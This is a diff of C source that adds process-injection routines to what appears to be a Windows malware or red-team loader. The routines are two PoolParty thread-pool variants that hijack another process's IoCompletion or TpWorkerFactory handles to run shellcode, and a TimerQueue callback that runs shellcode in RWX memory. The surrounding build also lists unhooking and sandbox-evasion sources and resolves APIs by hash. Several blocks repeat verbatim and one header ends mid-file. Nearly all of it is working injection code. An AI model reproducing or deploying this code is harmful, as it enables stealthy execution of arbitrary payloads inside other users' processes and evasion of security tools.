CloseHandle(hIoCompletion);
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
WriteProcessMemory(hProcess, pRemoteDirect,
|
||||
&Direct, sizeof(PP_TP_DIRECT), NULL);
|
||||
|
||||
/* Step 6: queue the IO completion packet — triggers execution */
|
||||
NTSTATUS status = fpZwSIC(hIoCompletion, pRemoteDirect, NULL, 0, 0);
|
||||
|
||||
CloseHandle(hIoCompletion);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return (status == 0);
|
||||
}
|
||||
|
||||
/* ── Variant 1: WorkerFactory start-routine overwrite ────────────────── */
|
||||
/*
|
||||
* 1. Finds the target process by name and opens it.
|
||||
* 2. Hijacks the TpWorkerFactory handle from the target's thread pool.
|
||||
* 3. Queries worker factory basic info to get StartRoutine + TotalWorkerCount.
|
||||
* 4. Overwrites StartRoutine in the target process with the shellcode
|
||||
* (WriteProcessMemory bypasses page protection internally).
|
||||
* 5. Bumps the minimum thread count via NtSetInformationWorkerFactory,
|
||||
* forcing the thread pool to spawn a new worker that jumps to our code.
|
||||
*/
|
||||
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode,
|
||||
IN LPCSTR szTarget) {
|
||||
|
||||
HMODULE hNtdll = GetModuleHandleH(#-NTDLL_VALUE-#);
|
||||
|
||||
fnNtQueryInformationWorkerFactory fpNtQIWF =
|
||||
(fnNtQueryInformationWorkerFactory)
|
||||
GetProcAddressH(hNtdll, #-NTQIWF_VALUE-#);
|
||||
|
||||
fnNtSetInformationWorkerFactory fpNtSIWF =
|
||||
(fnNtSetInformationWorkerFactory)
|
||||
GetProcAddressH(hNtdll, #-NTSIWF_VALUE-#);
|
||||
|
||||
if (!fpNtQIWF || !fpNtSIWF)
|
||||
return FALSE;
|
||||
|
||||
/* Step 1: locate the target process */
|
||||
DWORD dwPid = PP_GetPidByName(szTarget);
|
||||
if (!dwPid)
|
||||
return FALSE;
|
||||
|
||||
/* Step 2: open it — VM write + handle duplication */
|
||||
HANDLE hProcess = OpenProcess(
|
||||
PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
|
||||
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
|
||||
FALSE, dwPid);
|
||||
if (!hProcess)
|
||||
return FALSE;
|
||||
|
||||
/* Step 3: hijack the TpWorkerFactory handle */
|
||||
HANDLE hWorkerFactory = PP_HijackHandle(hProcess, L"TpWorkerFactory",
|
||||
WORKER_FACTORY_ALL_ACCESS);
|
||||
if (!hWorkerFactory) {
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Step 4: query basic info — we need StartRoutine and TotalWorkerCount */
|
||||
PP_WF_BASIC_INFO wfInfo;
|
||||
RtlSecureZeroMemory(&wfInfo, sizeof(wfInfo));
|
||||
|
||||
if (fpNtQIWF(hWorkerFactory, (ULONG)PPWorkerFactoryBasicInformation,
|
||||
&wfInfo, sizeof(wfInfo), NULL) != 0) {
|
||||
CloseHandle(hWorkerFactory);
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Step 5: overwrite the start routine with our shellcode */
|
||||
/* WriteProcessMemory writes through page protection — no VirtualProtectEx needed */
|
||||
SIZE_T dwWritten = 0;
|
||||
if (!WriteProcessMemory(hProcess, wfInfo.StartRoutine,
|
||||
pShellcode, sSizeOfShellcode, &dwWritten)) {
|
||||
CloseHandle(hWorkerFactory);
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Step 6: bump minimum thread count to force a new worker to start */
|
||||
ULONG uMinThreads = wfInfo.TotalWorkerCount + 1;
|
||||
fpNtSIWF(hWorkerFactory, (ULONG)PPWorkerFactoryThreadMinimum,
|
||||
&uMinThreads, sizeof(ULONG));
|
||||
|
||||
CloseHandle(hWorkerFactory);
|
||||
CloseHandle(hProcess);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
#pragma once
|
||||
/*
|
||||
* PoolParty — Thread Pool Process Injection
|
||||
* Techniques adapted from @_0xDeku (Black Hat EU 2023)
|
||||
* https://github.com/SafeBreach-Labs/PoolParty
|
||||
*
|
||||
* Variant 1 : WorkerFactory start-routine overwrite (wf_overwrite)
|
||||
* Variant 7 : TP_DIRECT insertion via IoCompletion (tp_direct)
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
/* ── NT status helpers ────────────────────────────────────────────────── */
|
||||
#ifndef STATUS_INFO_LENGTH_MISMATCH
|
||||
# define STATUS_INFO_LENGTH_MISMATCH 0xC0000004UL
|
||||
#endif
|
||||
#ifndef STATUS_BUFFER_TOO_SMALL
|
||||
# define STATUS_BUFFER_TOO_SMALL 0xC0000023UL
|
||||
#endif
|
||||
|
||||
/* ── NtQueryObject information class ─────────────────────────────────── */
|
||||
#define PP_ObjectTypeInformation 2
|
||||
|
||||
/* ── NtQueryInformationProcess class for handle snapshot (Win8+) ─────── */
|
||||
#define PP_ProcessHandleInformation 51
|
||||
|
||||
/* ── Worker-factory access mask ──────────────────────────────────────── */
|
||||
#ifndef WORKER_FACTORY_ALL_ACCESS
|
||||
# define WORKER_FACTORY_ALL_ACCESS 0x001F003FL
|
||||
#endif
|
||||
|
||||
/* ── I/O completion access mask ──────────────────────────────────────── */
|
||||
#ifndef IO_COMPLETION_ALL_ACCESS
|
||||
# define IO_COMPLETION_ALL_ACCESS 0x001F0003L
|
||||
#endif
|
||||
|
||||
/* ── Handle snapshot structs ─────────────────────────────────────────── */
|
||||
typedef struct _PP_HANDLE_ENTRY {
|
||||
HANDLE HandleValue;
|
||||
ULONG_PTR HandleCount;
|
||||
ULONG_PTR PointerCount;
|
||||
ACCESS_MASK GrantedAccess;
|
||||
ULONG ObjectTypeIndex;
|
||||
ULONG HandleAttributes;
|
||||
ULONG Reserved;
|
||||
} PP_HANDLE_ENTRY, *PPP_HANDLE_ENTRY;
|
||||
|
||||
typedef struct _PP_HANDLE_SNAPSHOT {
|
||||
ULONG_PTR NumberOfHandles;
|
||||
ULONG_PTR Reserved;
|
||||
PP_HANDLE_ENTRY Handles[ANYSIZE_ARRAY];
|
||||
} PP_HANDLE_SNAPSHOT, *PPP_HANDLE_SNAPSHOT;
|
||||
|
||||
/* ── NtQueryObject result (ObjectTypeInformation) ────────────────────── */
|
||||
typedef struct _PP_OBJECT_TYPE_INFO {
|
||||
UNICODE_STRING TypeName;
|
||||
ULONG Reserved[22];
|
||||
} PP_OBJECT_TYPE_INFO, *PPP_OBJECT_TYPE_INFO;
|
||||
|
||||
/* ── WorkerFactory basic information ─────────────────────────────────── */
|
||||
typedef enum _PP_QUERY_WF_CLASS {
|
||||
PPWorkerFactoryBasicInformation = 7
|
||||
} PP_QUERY_WF_CLASS;
|
||||
|
||||
typedef enum _PP_SET_WF_CLASS {
|
||||
PPWorkerFactoryThreadMinimum = 4
|
||||
} PP_SET_WF_CLASS;
|
||||
|
||||
typedef struct _PP_WF_BASIC_INFO {
|
||||
LARGE_INTEGER Timeout;
|
||||
LARGE_INTEGER RetryTimeout;
|
||||
LARGE_INTEGER IdleTimeout;
|
||||
BOOLEAN Paused;
|
||||
BOOLEAN TimerSet;
|
||||
BOOLEAN QueuedToExWorker;
|
||||
BOOLEAN MayCreate;
|
||||
BOOLEAN CreateInProgress;
|
||||
BOOLEAN InsertedIntoQueue;
|
||||
BOOLEAN Shutdown;
|
||||
ULONG BindingCount;
|
||||
ULONG ThreadMinimum;
|
||||
ULONG ThreadMaximum;
|
||||
ULONG PendingWorkerCount;
|
||||
ULONG WaitingWorkerCount;
|
||||
ULONG TotalWorkerCount;
|
||||
ULONG ReleaseCount;
|
||||
LONGLONG InfiniteWaitGoal;
|
||||
PVOID StartRoutine;
|
||||
PVOID StartParameter;
|
||||
HANDLE ProcessId;
|
||||
SIZE_T StackReserve;
|
||||
SIZE_T StackCommit;
|
||||
NTSTATUS LastThreadCreationStatus;
|
||||
} PP_WF_BASIC_INFO, *PPP_WF_BASIC_INFO;
|
||||
|
||||
/* ── Undocumented TP_DIRECT kernel structure ──────────────────────────── */
|
||||
typedef struct _PP_TP_TASK_CALLBACKS {
|
||||
PVOID ExecuteCallback;
|
||||
PVOID Unposted;
|
||||
} PP_TP_TASK_CALLBACKS, *PPP_TP_TASK_CALLBACKS;
|
||||
|
||||
typedef struct _PP_TP_TASK {
|
||||
PPP_TP_TASK_CALLBACKS Callbacks;
|
||||
UINT32 NumaNode;
|
||||
UINT8 IdealProcessor;
|
||||
BYTE Padding[3];
|
||||
LIST_ENTRY ListEntry;
|
||||
} PP_TP_TASK, *PPP_TP_TASK;
|
||||
|
||||
typedef struct _PP_TP_DIRECT {
|
||||
PP_TP_TASK Task;
|
||||
UINT64 Lock;
|
||||
LIST_ENTRY IoCompletionInformationList;
|
||||
PVOID Callback; /* <── shellcode address goes here */
|
||||
UINT32 NumaNode;
|
||||
UINT8 IdealProcessor;
|
||||
BYTE __PADDING__[3];
|
||||
} PP_TP_DIRECT, *PPP_TP_DIRECT;
|
||||
|
||||
/* ── NT function pointer typedefs ────────────────────────────────────── */
|
||||
typedef NTSTATUS (NTAPI *fnNtQueryInformationProcess)(
|
||||
HANDLE ProcessHandle,
|
||||
ULONG ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength);
|
||||
|
||||
typedef NTSTATUS (NTAPI *fnNtQueryObject)(
|
||||
HANDLE Handle,
|
||||
ULONG ObjectInformationClass,
|
||||
PVOID ObjectInformation,
|
||||
ULONG ObjectInformationLength,
|
||||
PULONG ReturnLength);
|
||||
|
||||
typedef NTSTATUS (NTAPI *fnNtQueryInformationWorkerFactory)(
|
||||
HANDLE WorkerFactoryHandle,
|
||||
ULONG WorkerFactoryInformationClass,
|
||||
PVOID WorkerFactoryInformation,
|
||||
ULONG WorkerFactoryInformationLength,
|
||||
PULONG ReturnLength);
|
||||
|
||||
typedef NTSTATUS (NTAPI *fnNtSetInformationWorkerFactory)(
|
||||
HANDLE WorkerFactoryHandle,
|
||||
ULONG WorkerFactoryInformationClass,
|
||||
PVOID WorkerFactoryInformation,
|
||||
ULONG WorkerFactoryInformationLength);
|
||||
|
||||
typedef NTSTATUS (NTAPI *fnZwSetIoCompletion)(
|
||||
HANDLE IoCompletionHandle,
|
||||
PVOID KeyContext,
|
||||
PVOID ApcContext,
|
||||
NTSTATUS IoStatus,
|
||||
ULONG_PTR IoStatusInformation);
|
||||
|
||||
/* ── Public injection functions ──────────────────────────────────────── */
|
||||
BOOL PoolPartyTpDirect (IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
|
||||
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
|
||||
@@ -0,0 +1,57 @@
|
||||
/*
|
||||
* TimerQueue Callback Self-Injection
|
||||
*
|
||||
* Uses CreateTimerQueueTimer to dispatch shellcode as a callback
|
||||
* on the Windows thread pool — entirely within the current process,
|
||||
* no remote handle or process manipulation required.
|
||||
*
|
||||
* Execution flow:
|
||||
* 1. Allocate RWX region and copy shellcode.
|
||||
* 2. Create a dedicated timer queue.
|
||||
* 3. Register a one-shot timer whose callback IS the shellcode.
|
||||
* WT_EXECUTELONGFUNCTION prevents the pool from timing out.
|
||||
* 4. Sleep(INFINITE) — shellcode runs on a thread pool thread.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "functions.h"
|
||||
|
||||
BOOL TimerQueueInject(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode) {
|
||||
|
||||
/* 1. Allocate RWX memory in the current process */
|
||||
PVOID pExec = VirtualAlloc(NULL, sSizeOfShellcode,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
if (!pExec)
|
||||
return FALSE;
|
||||
|
||||
memcpy(pExec, pShellcode, sSizeOfShellcode);
|
||||
|
||||
/* 2. Create a dedicated timer queue */
|
||||
HANDLE hQueue = CreateTimerQueue();
|
||||
if (!hQueue) {
|
||||
VirtualFree(pExec, 0, MEM_RELEASE);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* 3. Register a one-shot timer at 100 ms due time.
|
||||
* The shellcode address is cast directly to WAITORTIMERCALLBACK.
|
||||
* WT_EXECUTELONGFUNCTION: the thread pool won't try to interrupt it.
|
||||
*/
|
||||
HANDLE hTimer = NULL;
|
||||
if (!CreateTimerQueueTimer(&hTimer, hQueue,
|
||||
(WAITORTIMERCALLBACK)pExec,
|
||||
NULL, 100, 0,
|
||||
WT_EXECUTEONLYONCE | WT_EXECUTELONGFUNCTION)) {
|
||||
DeleteTimerQueue(hQueue);
|
||||
VirtualFree(pExec, 0, MEM_RELEASE);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* 4. Keep the main thread alive — shellcode owns its own threads from here */
|
||||
Sleep(INFINITE);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -47,7 +47,9 @@ COMMON_SRCS := \
|
||||
unhook.c \
|
||||
hellhall.c \
|
||||
sandbox.c \
|
||||
trampoline.c
|
||||
trampoline.c \
|
||||
poolparty.c \
|
||||
timerqueue.c
|
||||
|
||||
ifeq ($(FORMAT),DLL)
|
||||
MAIN_SRC := main_dll.c
|
||||
|
||||
@@ -21,5 +21,12 @@ FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
|
||||
BOOL Unhook(LPVOID module);
|
||||
LPVOID MapNtdll();
|
||||
|
||||
// PoolParty thread-pool injection (poolparty.c)
|
||||
BOOL PoolPartyTpDirect (IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
|
||||
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
|
||||
|
||||
// TimerQueue callback self-injection (timerqueue.c)
|
||||
BOOL TimerQueueInject(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode);
|
||||
|
||||
typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation);
|
||||
typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId);
|
||||
@@ -0,0 +1,287 @@
|
||||
/*
|
||||
* PoolParty — Thread Pool Process Injection
|
||||
* Techniques adapted from @_0xDeku (Black Hat EU 2023)
|
||||
* https://github.com/SafeBreach-Labs/PoolParty
|
||||
*
|
||||
* Variant 1 : WorkerFactory start-routine overwrite (PoolPartyWfOverwrite)
|
||||
* Variant 7 : TP_DIRECT insertion via IoCompletion (PoolPartyTpDirect)
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <string.h>
|
||||
#include <wchar.h>
|
||||
|
||||
#include "poolparty.h"
|
||||
#include "functions.h"
|
||||
|
||||
/* ── Internal: find a process PID by name (case-insensitive) ─────────── */
|
||||
static DWORD PP_GetPidByName(LPCSTR szName) {
|
||||
DWORD dwPid = 0;
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnap == INVALID_HANDLE_VALUE)
|
||||
return 0;
|
||||
|
||||
PROCESSENTRY32 pe;
|
||||
pe.dwSize = sizeof(pe);
|
||||
|
||||
if (Process32First(hSnap, &pe)) {
|
||||
do {
|
||||
if (_stricmp(pe.szExeFile, szName) == 0) {
|
||||
dwPid = pe.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hSnap, &pe));
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
return dwPid;
|
||||
}
|
||||
|
||||
/* ── Internal: duplicate a handle of a given type from hProcess ─────── */
|
||||
/*
|
||||
* Walks the target process handle table via NtQueryInformationProcess
|
||||
* (ProcessHandleInformation = 51), duplicates each handle into the current
|
||||
* process, and uses NtQueryObject to check the kernel object type name.
|
||||
* Returns the duplicated handle on match, or NULL on failure.
|
||||
*/
|
||||
static HANDLE PP_HijackHandle(
|
||||
HANDLE hProcess,
|
||||
LPCWSTR wsTypeName,
|
||||
ACCESS_MASK dwAccess) {
|
||||
|
||||
HMODULE hNtdll = GetModuleHandleH(#-NTDLL_VALUE-#);
|
||||
|
||||
fnNtQueryInformationProcess fpNtQIP = (fnNtQueryInformationProcess)
|
||||
GetProcAddressH(hNtdll, #-NTQIP_VALUE-#);
|
||||
fnNtQueryObject fpNtQO = (fnNtQueryObject)
|
||||
GetProcAddressH(hNtdll, #-NTQO_VALUE-#);
|
||||
|
||||
if (!fpNtQIP || !fpNtQO)
|
||||
return NULL;
|
||||
|
||||
/* Grow the buffer until NtQueryInformationProcess is satisfied */
|
||||
ULONG uSize = 0x8000;
|
||||
PPP_HANDLE_SNAPSHOT pSnap = NULL;
|
||||
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
|
||||
|
||||
while (status == (NTSTATUS)STATUS_INFO_LENGTH_MISMATCH ||
|
||||
status == (NTSTATUS)STATUS_BUFFER_TOO_SMALL) {
|
||||
if (pSnap)
|
||||
HeapFree(GetProcessHeap(), 0, pSnap);
|
||||
uSize *= 2;
|
||||
pSnap = (PPP_HANDLE_SNAPSHOT)HeapAlloc(GetProcessHeap(),
|
||||
HEAP_ZERO_MEMORY, uSize);
|
||||
if (!pSnap)
|
||||
return NULL;
|
||||
status = fpNtQIP(hProcess, PP_ProcessHandleInformation,
|
||||
pSnap, uSize, &uSize);
|
||||
}
|
||||
|
||||
if (status != 0) {
|
||||
HeapFree(GetProcessHeap(), 0, pSnap);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HANDLE hFound = NULL;
|
||||
USHORT wTargetLen = (USHORT)wcslen(wsTypeName);
|
||||
|
||||
for (ULONG_PTR i = 0; i < pSnap->NumberOfHandles; i++) {
|
||||
HANDLE hDup = NULL;
|
||||
if (!DuplicateHandle(hProcess,
|
||||
pSnap->Handles[i].HandleValue,
|
||||
GetCurrentProcess(),
|
||||
&hDup,
|
||||
dwAccess, FALSE, 0))
|
||||
continue;
|
||||
|
||||
/* Use a stack buffer — type names are short (<64 chars) */
|
||||
BYTE buf[512] = { 0 };
|
||||
NTSTATUS qoStatus = fpNtQO(hDup, PP_ObjectTypeInformation,
|
||||
buf, sizeof(buf), NULL);
|
||||
if (qoStatus != 0) {
|
||||
CloseHandle(hDup);
|
||||
continue;
|
||||
}
|
||||
|
||||
PPP_OBJECT_TYPE_INFO pInfo = (PPP_OBJECT_TYPE_INFO)buf;
|
||||
|
||||
/* TypeName.Length is in bytes — convert to wchar count */
|
||||
USHORT wLen = pInfo->TypeName.Length / sizeof(WCHAR);
|
||||
|
||||
if (pInfo->TypeName.Buffer != NULL &&
|
||||
wLen == wTargetLen &&
|
||||
wcsncmp(pInfo->TypeName.Buffer, wsTypeName, wLen) == 0) {
|
||||
hFound = hDup;
|
||||
break;
|
||||
}
|
||||
|
||||
CloseHandle(hDup);
|
||||
}
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, pSnap);
|
||||
return hFound;
|
||||
}
|
||||
|
||||
/* ── Variant 7: TP_DIRECT insertion via IoCompletion ─────────────────── */
|
||||
/*
|
||||
* 1. Finds the target process by name and opens it.
|
||||
* 2. Hijacks the IoCompletion handle from the target's thread pool.
|
||||
* 3. Allocates RWX memory in the target and writes the shellcode.
|
||||
* 4. Crafts a TP_DIRECT structure with Callback = shellcode address.
|
||||
* 5. Allocates the TP_DIRECT in the target process and writes it.
|
||||
* 6. Calls ZwSetIoCompletion to queue a packet — the target's thread
|
||||
* pool dequeues it and dispatches to our shellcode.
|
||||
*/
|
||||
BOOL PoolPartyTpDirect(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode,
|
||||
IN LPCSTR szTarget) {
|
||||
|
||||
fnZwSetIoCompletion fpZwSIC = (fnZwSetIoCompletion)
|
||||
GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-ZSETIO_VALUE-#);
|
||||
|
||||
if (!fpZwSIC)
|
||||
return FALSE;
|
||||
|
||||
/* Step 1: locate the target process */
|
||||
DWORD dwPid = PP_GetPidByName(szTarget);
|
||||
if (!dwPid)
|
||||
return FALSE;
|
||||
|
||||
/* Step 2: open it with VM + handle duplication privileges */
|
||||
HANDLE hProcess = OpenProcess(
|
||||
PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
|
||||
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
|
||||
FALSE, dwPid);
|
||||
if (!hProcess)
|
||||
return FALSE;
|
||||
|
||||
/* Step 3: hijack the IoCompletion handle from the target's thread pool */
|
||||
HANDLE hIoCompletion = PP_HijackHandle(hProcess, L"IoCompletion",
|
||||
IO_COMPLETION_ALL_ACCESS);
|
||||
if (!hIoCompletion) {
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Step 4: allocate RWX memory in the target and write the shellcode */
|
||||
PVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
if (!pRemoteShellcode) {
|
||||
CloseHandle(hIoCompletion);
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SIZE_T dwWritten = 0;
|
||||
if (!WriteProcessMemory(hProcess, pRemoteShellcode,
|
||||
pShellcode, sSizeOfShellcode, &dwWritten)) {
|
||||
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
|
||||
CloseHandle(hIoCompletion);
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Step 5: craft TP_DIRECT with shellcode address as the callback */
|
||||
PP_TP_DIRECT Direct;
|
||||
RtlSecureZeroMemory(&Direct, sizeof(Direct));
|
||||
Direct.Callback = pRemoteShellcode;
|
||||
|
||||
PVOID pRemoteDirect = VirtualAllocEx(hProcess, NULL, sizeof(PP_TP_DIRECT),
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE);
|
||||
if (!pRemoteDirect) {
|
||||
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
|
||||
CloseHandle(hIoCompletion);
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
WriteProcessMemory(hProcess, pRemoteDirect,
|
||||
&Direct, sizeof(PP_TP_DIRECT), NULL);
|
||||
|
||||
/* Step 6: queue the IO completion packet — triggers execution */
|
||||
NTSTATUS status = fpZwSIC(hIoCompletion, pRemoteDirect, NULL, 0, 0);
|
||||
|
||||
CloseHandle(hIoCompletion);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return (status == 0);
|
||||
}
|
||||
|
||||
/* ── Variant 1: WorkerFactory start-routine overwrite ────────────────── */
|
||||
/*
|
||||
* 1. Finds the target process by name and opens it.
|
||||
* 2. Hijacks the TpWorkerFactory handle from the target's thread pool.
|
||||
* 3. Queries worker factory basic info to get StartRoutine + TotalWorkerCount.
|
||||
* 4. Overwrites StartRoutine in the target process with the shellcode
|
||||
* (WriteProcessMemory bypasses page protection internally).
|
||||
* 5. Bumps the minimum thread count via NtSetInformationWorkerFactory,
|
||||
* forcing the thread pool to spawn a new worker that jumps to our code.
|
||||
*/
|
||||
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode,
|
||||
IN LPCSTR szTarget) {
|
||||
|
||||
HMODULE hNtdll = GetModuleHandleH(#-NTDLL_VALUE-#);
|
||||
|
||||
fnNtQueryInformationWorkerFactory fpNtQIWF =
|
||||
(fnNtQueryInformationWorkerFactory)
|
||||
GetProcAddressH(hNtdll, #-NTQIWF_VALUE-#);
|
||||
|
||||
fnNtSetInformationWorkerFactory fpNtSIWF =
|
||||
(fnNtSetInformationWorkerFactory)
|
||||
GetProcAddressH(hNtdll, #-NTSIWF_VALUE-#);
|
||||
|
||||
if (!fpNtQIWF || !fpNtSIWF)
|
||||
return FALSE;
|
||||
|
||||
/* Step 1: locate the target process */
|
||||
DWORD dwPid = PP_GetPidByName(szTarget);
|
||||
if (!dwPid)
|
||||
return FALSE;
|
||||
|
||||
/* Step 2: open it — VM write + handle duplication */
|
||||
HANDLE hProcess = OpenProcess(
|
||||
PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
|
||||
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
|
||||
FALSE, dwPid);
|
||||
if (!hProcess)
|
||||
return FALSE;
|
||||
|
||||
/* Step 3: hijack the TpWorkerFactory handle */
|
||||
HANDLE hWorkerFactory = PP_HijackHandle(hProcess, L"TpWorkerFactory",
|
||||
WORKER_FACTORY_ALL_ACCESS);
|
||||
if (!hWorkerFactory) {
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Step 4: query basic info — we need StartRoutine and TotalWorkerCount */
|
||||
PP_WF_BASIC_INFO wfInfo;
|
||||
RtlSecureZeroMemory(&wfInfo, sizeof(wfInfo));
|
||||
|
||||
if (fpNtQIWF(hWorkerFactory, (ULONG)PPWorkerFactoryBasicInformation,
|
||||
&wfInfo, sizeof(wfInfo), NULL) != 0) {
|
||||
CloseHandle(hWorkerFactory);
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Step 5: overwrite the start routine with our shellcode */
|
||||
/* WriteProcessMemory writes through page protection — no VirtualProtectEx needed */
|
||||
SIZE_T dwWritten = 0;
|
||||
if (!WriteProcessMemory(hProcess, wfInfo.StartRoutine,
|
||||
pShellcode, sSizeOfShellcode, &dwWritten)) {
|
||||
CloseHandle(hWorkerFactory);
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Step 6: bump minimum thread count to force a new worker to start */
|
||||
ULONG uMinThreads = wfInfo.TotalWorkerCount + 1;
|
||||
fpNtSIWF(hWorkerFactory, (ULONG)PPWorkerFactoryThreadMinimum,
|
||||
&uMinThreads, sizeof(ULONG));
|
||||
|
||||
CloseHandle(hWorkerFactory);
|
||||
CloseHandle(hProcess);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
#pragma once
|
||||
/*
|
||||
* PoolParty — Thread Pool Process Injection
|
||||
* Techniques adapted from @_0xDeku (Black Hat EU 2023)
|
||||
* https://github.com/SafeBreach-Labs/PoolParty
|
||||
*
|
||||
* Variant 1 : WorkerFactory start-routine overwrite (wf_overwrite)
|
||||
* Variant 7 : TP_DIRECT insertion via IoCompletion (tp_direct)
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
/* ── NT status helpers ────────────────────────────────────────────────── */
|
||||
#ifndef STATUS_INFO_LENGTH_MISMATCH
|
||||
# define STATUS_INFO_LENGTH_MISMATCH 0xC0000004UL
|
||||
#endif
|
||||
#ifndef STATUS_BUFFER_TOO_SMALL
|
||||
# define STATUS_BUFFER_TOO_SMALL 0xC0000023UL
|
||||
#endif
|
||||
|
||||
/* ── NtQueryObject information class ─────────────────────────────────── */
|
||||
#define PP_ObjectTypeInformation 2
|
||||
|
||||
/* ── NtQueryInformationProcess class for handle snapshot (Win8+) ─────── */
|
||||
#define PP_ProcessHandleInformation 51
|
||||
|
||||
/* ── Worker-factory access mask ──────────────────────────────────────── */
|
||||
#ifndef WORKER_FACTORY_ALL_ACCESS
|
||||
# define WORKER_FACTORY_ALL_ACCESS 0x001F003FL
|
||||
#endif
|
||||
|
||||
/* ── I/O completion access mask ──────────────────────────────────────── */
|
||||
#ifndef IO_COMPLETION_ALL_ACCESS
|
||||
# define IO_COMPLETION_ALL_ACCESS 0x001F0003L
|
||||
#endif
|
||||
|
||||
/* ── Handle snapshot structs ─────────────────────────────────────────── */
|
||||
typedef struct _PP_HANDLE_ENTRY {
|
||||
HANDLE HandleValue;
|
||||
ULONG_PTR HandleCount;
|
||||
ULONG_PTR PointerCount;
|
||||
ACCESS_MASK GrantedAccess;
|
||||
ULONG ObjectTypeIndex;
|
||||
ULONG HandleAttributes;
|
||||
ULONG Reserved;
|
||||
} PP_HANDLE_ENTRY, *PPP_HANDLE_ENTRY;
|
||||
|
||||
typedef struct _PP_HANDLE_SNAPSHOT {
|
||||
ULONG_PTR NumberOfHandles;
|
||||
ULONG_PTR Reserved;
|
||||
PP_HANDLE_ENTRY Handles[ANYSIZE_ARRAY];
|
||||
} PP_HANDLE_SNAPSHOT, *PPP_HANDLE_SNAPSHOT;
|
||||
|
||||
/* ── NtQueryObject result (ObjectTypeInformation) ────────────────────── */
|
||||
typedef struct _PP_OBJECT_TYPE_INFO {
|
||||
UNICODE_STRING TypeName;
|
||||
ULONG Reserved[22];
|
||||
} PP_OBJECT_TYPE_INFO, *PPP_OBJECT_TYPE_INFO;
|
||||
|
||||
/* ── WorkerFactory basic information ─────────────────────────────────── */
|
||||
typedef enum _PP_QUERY_WF_CLASS {
|
||||
PPWorkerFactoryBasicInformation = 7
|
||||
} PP_QUERY_WF_CLASS;
|
||||
|
||||
